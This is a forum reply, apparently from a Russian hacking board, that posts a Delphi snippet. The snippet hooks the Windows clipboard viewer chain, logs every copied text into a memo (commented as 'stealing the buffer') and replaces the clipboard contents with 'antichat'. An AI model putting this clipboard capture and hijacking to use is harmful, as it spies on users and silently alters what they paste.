Показать сообщение отдельно

  #3  
Старый 11.10.2009, 08:50
Nullsleep
Познающий
Регистрация: 02.06.2009
Сообщений: 67
С нами: 8916612

Репутация: 54
По умолчанию

0ldbi4
Код:
uses ClipBrd;

type
  private
    procedure WMCHANGECBCHAIN(var Msg: TWMChangeCBChain); 
      message WM_CHANGECBCHAIN;
    procedure WMDRAWCLIPBOARD(var Msg: TMessage);
      message WM_DRAWCLIPBOARD;

var
  Form1: TForm1;
  ClipbrdNext: HWND;

implementation

{$R *.dfm}

procedure TForm1.WMCHANGECBCHAIN(var Msg: TWMChangeCBChain);
begin
  if Msg.Remove = ClipbrdNext then ClipbrdNext := Msg.Next;
  SendMessage(ClipbrdNext, Msg.Msg, Msg.Remove, Msg.Next);
end;

procedure TForm1.WMDRAWCLIPBOARD(var Msg: TMessage);
begin
  //воруем буфер
  Memo1.Lines.Add(Clipboard.AsText+#13#10'----------');
  //заносим в буфер произвольный текст
  Clipboard.SetTextBuf('antichat');
  SendMessage(ClipbrdNext, Msg.Msg, Msg.WParam, Msg.LParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ClipbrdNext := SetClipboardViewer(Handle);
end;
 
Ответить с цитированием